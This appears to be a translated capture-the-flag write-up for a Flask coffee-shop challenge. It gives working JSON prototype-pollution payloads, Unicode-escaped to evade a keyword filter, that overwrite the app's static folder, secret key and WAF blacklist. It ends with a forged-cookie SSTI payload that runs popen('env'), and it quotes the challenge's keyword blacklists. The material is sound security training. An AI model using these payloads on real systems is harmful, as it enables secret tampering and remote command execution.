A total of 9371 characters, expected to take 24 minutes to complete reading.
Title
Tip: The admin of the coffee shop accidentally leaked his source code, but fortunately it was only part of it.
Part of the source code is given:
app.py
from flask import Flask, session, request, render_template_string, render_template
import json
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()
@app.route('/', methods=['GET', 'POST'])
def store():
if not session.get('name'):
session['name'] = ''.join("customer")
session['permission'] = 0
error_message = ''
if request.method == 'POST':
error_message = '<p style="color: red; font-size: 0.8em;"> 该商品暂时无法购买,请稍后再试!</p>'
products = [{"id": 1, "name": " 美式咖啡 ", "price": 9.99, "image": "1.png"},
{"id": 2, "name": " 橙 c 美式 ", "price": 19.99, "image": "2.png"},
{"id": 3, "name": " 摩卡 ", "price": 29.99, "image": "3.png"},
{"id": 4, "name": " 卡布奇诺 ", "price": 19.99, "image": "4.png"},
{"id": 5, "name": " 冰拿铁 ", "price": 29.99, "image": "5.png"}
]
return render_template('index.html',
error_message=error_message,
session=session,
products=products)
def add():
pass
@app.route('/add', methods=['POST', 'GET'])
def adddd():
if request.method == 'GET':
return '''
<html>
<body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
<h2> 添加商品 </h2>
<form id="productForm">
<p> 商品名称: <input type="text" id="name"></p>
<p> 商品价格: <input type="text" id="price"></p>
<button type="button" onclick="submitForm()"> 添加商品 </button>
</form>
<script>
function submitForm() {const nameInput = document.getElementById('name').value;
const priceInput = document.getElementById('price').value;
fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
method: 'POST',
headers: {'Content-Type': 'application/json',},
body: nameInput
})
.then(response => response.text())
.then(data => alert(data))
.catch(error => console.error(' 错误:', error));
}
</script>
</body>
</html>
'''
elif request.method == 'POST':
if request.data:
try:
raw_data = request.data.decode('utf-8')
if check(raw_data):
#检测添加的商品是否合法
return " 该商品违规,无法上传 "
json_data = json.loads(raw_data)
if not isinstance(json_data, dict):
return " 添加失败 1 "
merge(json_data, add)
return " 你无法添加商品哦 "
except (UnicodeDecodeError, json.JSONDecodeError):
return " 添加失败 2 "
except TypeError as e:
return f" 添加失败 3 "
except Exception as e:
return f" 添加失败 4 "
return " 添加失败 5 "
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
app.run(host="0.0.0.0",port=5014)
index.html
<!DOCTYPE html>
<html>
<head>
<title> 咖啡店 </title>
</head>
<body>
<h1>Hello {{session.name}}</h1>
<!-- 错误提示 -->
{% if error_message %}
{{error_message|safe}}
{% endif %}
<h2> 今日推荐商品 </h2>
<div class="products">
{% for product in products %}
<div class="product">
<img src="{{url_for('static', filename='img/' + product.image) }}"
alt="{{product.name}}"
width="200"
height="200">
<h3>{{product.name}}</h3>
<p> 价格:¥{{product.price}}</p>
<form method="POST">
<button type="submit"> 立即购买 </button>
</form>
</div>
{% endfor %}
</div>
<style>
body {background-image: url("{{ url_for('static', filename='img/6.png') }}");
background-size: cover;
background-position: center;
background-repeat: no-repeat;
min-height: 100vh; /* 确保背景覆盖整个屏幕高度 */
margin: 0; /* 移除默认边距 */
padding: 20px; /* 给内容添加内边距 */
}
.products {
display: flex;
gap: 20px;
flex-wrap: wrap;
}
.product {
border: 1px solid #ddd;
padding: 10px;
text-align: center;
width: 250px;
}
button {
background-color: #4CAF50;
color: white;
padding: 10px 20px;
border: none;
cursor: pointer;
}
button:hover {opacity: 0.8;}
</style>
</body>
</html>
Ideas
Found /add
After loading the json data we submitted under the route, after def merge(src, dst)
method, you can modify def add()
The properties of the function. And this function in the main program, you can use __globals__
method to modify the properties of all global variables.
We only know part of the source code now, so we have to find ways to get all the source code. Since the default static directory for flask is static
, changed ../
(or /app
) can read the previous directory, that is. app.py
The directory where the file is located. We pass in the following json data:
{"__globals__": {"app": {"static_folder": "../"}}}
After def merge(src, dst)
, which is equivalent to modifying the static file directory of flask, which is equivalent to running the following code:
add.__globals__.app.static_folder = "../"
But the incoming json will first pass through check
Function check, we don't know the specific content of this function, sure enough:
It is suggested that the goods are illegal and filtered. It can be used after a try. unicode Encoding bypassed and changed:
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": {"\u0061\u0070\u0070": {"\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072": "\u002e\u002e\u002f"}}}
It was successful here, although it was suggested that we could not add goods.
We visit /static/app.py
Read all source code:
from flask import Flask, session, request, render_template_string, render_template
import json
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()
@app.route('/', methods=['GET', 'POST'])
def store():
if not session.get('name'):
session['name'] = ''.join("customer")
session['permission'] = 0
error_message = ''
if request.method == 'POST':
error_message = '<p style="color: red; font-size: 0.8em;"> 该商品暂时无法购买,请稍后再试!</p>'
products = [{"id": 1, "name": " 美式咖啡 ", "price": 9.99, "image": "1.png"},
{"id": 2, "name": " 橙 c 美式 ", "price": 19.99, "image": "2.png"},
{"id": 3, "name": " 摩卡 ", "price": 29.99, "image": "3.png"},
{"id": 4, "name": " 卡布奇诺 ", "price": 19.99, "image": "4.png"},
{"id": 5, "name": " 冰拿铁 ", "price": 29.99, "image": "5.png"}
]
return render_template('index.html',
error_message=error_message,
session=session,
products=products)
def add():
pass
@app.route('/add', methods=['POST', 'GET'])
def adddd():
if request.method == 'GET':
return '''
<html>
<body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
<h2> 添加商品 </h2>
<form id="productForm">
<p> 商品名称: <input type="text" id="name"></p>
<p> 商品价格: <input type="text" id="price"></p>
<button type="button" onclick="submitForm()"> 添加商品 </button>
</form>
<script>
function submitForm() {const nameInput = document.getElementById('name').value;
const priceInput = document.getElementById('price').value;
fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
method: 'POST',
headers: {'Content-Type': 'application/json',},
body: nameInput
})
.then(response => response.text())
.then(data => alert(data))
.catch(error => console.error(' 错误:', error));
}
</script>
</body>
</html>
'''
elif request.method == 'POST':
if request.data:
try:
raw_data = request.data.decode('utf-8')
if check(raw_data):
#检测添加的商品是否合法
return " 该商品违规,无法上传 "
json_data = json.loads(raw_data)
if not isinstance(json_data, dict):
return " 添加失败 1 "
merge(json_data, add)
return " 你无法添加商品哦 "
except (UnicodeDecodeError, json.JSONDecodeError):
return " 添加失败 2 "
except TypeError as e:
return f" 添加失败 3 "
except Exception as e:
return f" 添加失败 4 "
return " 添加失败 5 "
@app.route('/aaadminnn', methods=['GET', 'POST'])
def admin():
if session.get('name') == "admin" and session.get('permission') != 0:
permission = session.get('permission')
if check1(permission):
# 检测添加的商品是否合法
return " 非法权限 "
if request.method == 'POST':
return '<script>alert(" 上传成功!");window.location.href="/aaadminnn";</script>'
upload_form = '''
<h2> 商品管理系统 </h2>
<form method=POST enctype=multipart/form-data style="margin:20px;padding:20px;border:1px solid #ccc">
<h3> 上传新商品 </h3>
<input type=file name=file required style="margin:10px"><br>
<small> 支持格式:jpg/png(最大 2MB)</small><br>
<input type=submit value=" 立即上传 " style="margin:10px;padding:5px 20px">
</form>
'''
original_template = 'Hello admin!!!Your permissions are{}'.format(permission)
new_template = original_template + upload_form
return render_template_string(new_template)
else:
return "<script>alert('You are not an admin');window.location.href='/'</script>"
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def check(raw_data, forbidden_keywords=None):
"""
检查原始数据中是否包含禁止的关键词
如果包含禁止关键词返回 True,否则返回 False
"""
# 设置默认禁止关键词
if forbidden_keywords is None:
forbidden_keywords = ["app", "config", "init", "globals", "flag", "SECRET", "pardir", "class", "mro", "subclasses", "builtins", "eval", "os", "open", "file", "import", "cat", "ls", "/", "base", "url", "read"]
# 检查是否包含任何禁止关键词
return any(keyword in raw_data for keyword in forbidden_keywords)
param_black_list = ['config', 'session', 'url', '\\', '<', '>', '%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e', '%c', '%2f',
'b64decode', 'base64', 'encode', 'chr', '[', ']', 'os', 'cat', 'flag', 'set', 'self', '%', 'file', 'pop(',
'setdefault', 'char', 'lipsum', 'update', '=', 'if', 'print', 'env', 'endfor', 'code', '=' ]
# 增强 WAF 防护
def waf_check(value):
# 检查是否有不合法的字符
for black in param_black_list:
if black in value:
return False
return True
# 检查是否是自动化工具请求
def is_automated_request():
user_agent = request.headers.get('User-Agent', '').lower()
# 如果是常见的自动化工具的 User-Agent,返回 True
automated_agents = ['fenjing', 'curl', 'python', 'bot', 'spider']
return any(agent in user_agent for agent in automated_agents)
def check1(value):
if is_automated_request():
print("Automated tool detected")
return True
# 使用 WAF 机制检查请求的合法性
if not waf_check(value):
return True
return False
app.run(host="0.0.0.0",port=5014)
found another /aaadminnn
Routing, which is executing render_template_string(new_template)
There will be a template injection vulnerability, which can be exploited. session.get('permission')
Set the permission in the cookie to the payload injected by the template.
In order to inject cookies, we need to know SECRET_KEY
(Or not). Direct modification SECRET_KEY
upload the following json data:
{"__globals__":{"app":{"config":{"SECRET_KEY":"test"}}}}
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u0063\u006f\u006e\u0066\u0069\u0067":{"\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059":"test"}}}}
Will SECRET_KEY
Changed test
, so it is known, and then use flask_session_cookie_manager Construct a cookie to inject.
But this check1(permission)
function will detect permission
Whether there are keywords in. It doesn't matter, will global variables param_black_list
just set it empty to construct the following json data:
{"__globals__": {"param_black_list": []}}
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": {"\u0070\u0061\u0072\u0061\u006d\u005f\u0062\u006c\u0061\u0063\u006b\u005f\u006c\u0069\u0073\u0074": []}}
The next step is to construct a cookie. The default cookie is {"name": "customer", "permission": 0}'
. Using the SSTI vulnerability, we change:
{"name": "admin", "permission": "{{\"\".__class__.__base__.__subclasses__()[133].__init__.__globals__[\"popen\"](\"env\").read()}}"}'
Then use flask_session_cookie_manager Construct the cookie and get:
.eJwdyUEKwyAQRuG7_CuFEijZ9SqZIGMzFEFHybTdSO4ecff4XodyEbzAR0mKB5qcJZmlqgN7JxCWEN6ZzUIYFdlkhv3iVBnu_PZc131o0vSd-5Nr5DzeRmi1iRJ2RxD9E_xyCh_OXxeuG1I8LII.aEUxjA.077jfzP-R_zmw1X0-pYeqr9GWEQ
Visit /aaadminnn
, get the flag in the environment variable:
The randomly generated flag is flag{ccc959f2-8485-4123-bac1-ced150b4a6c1}
.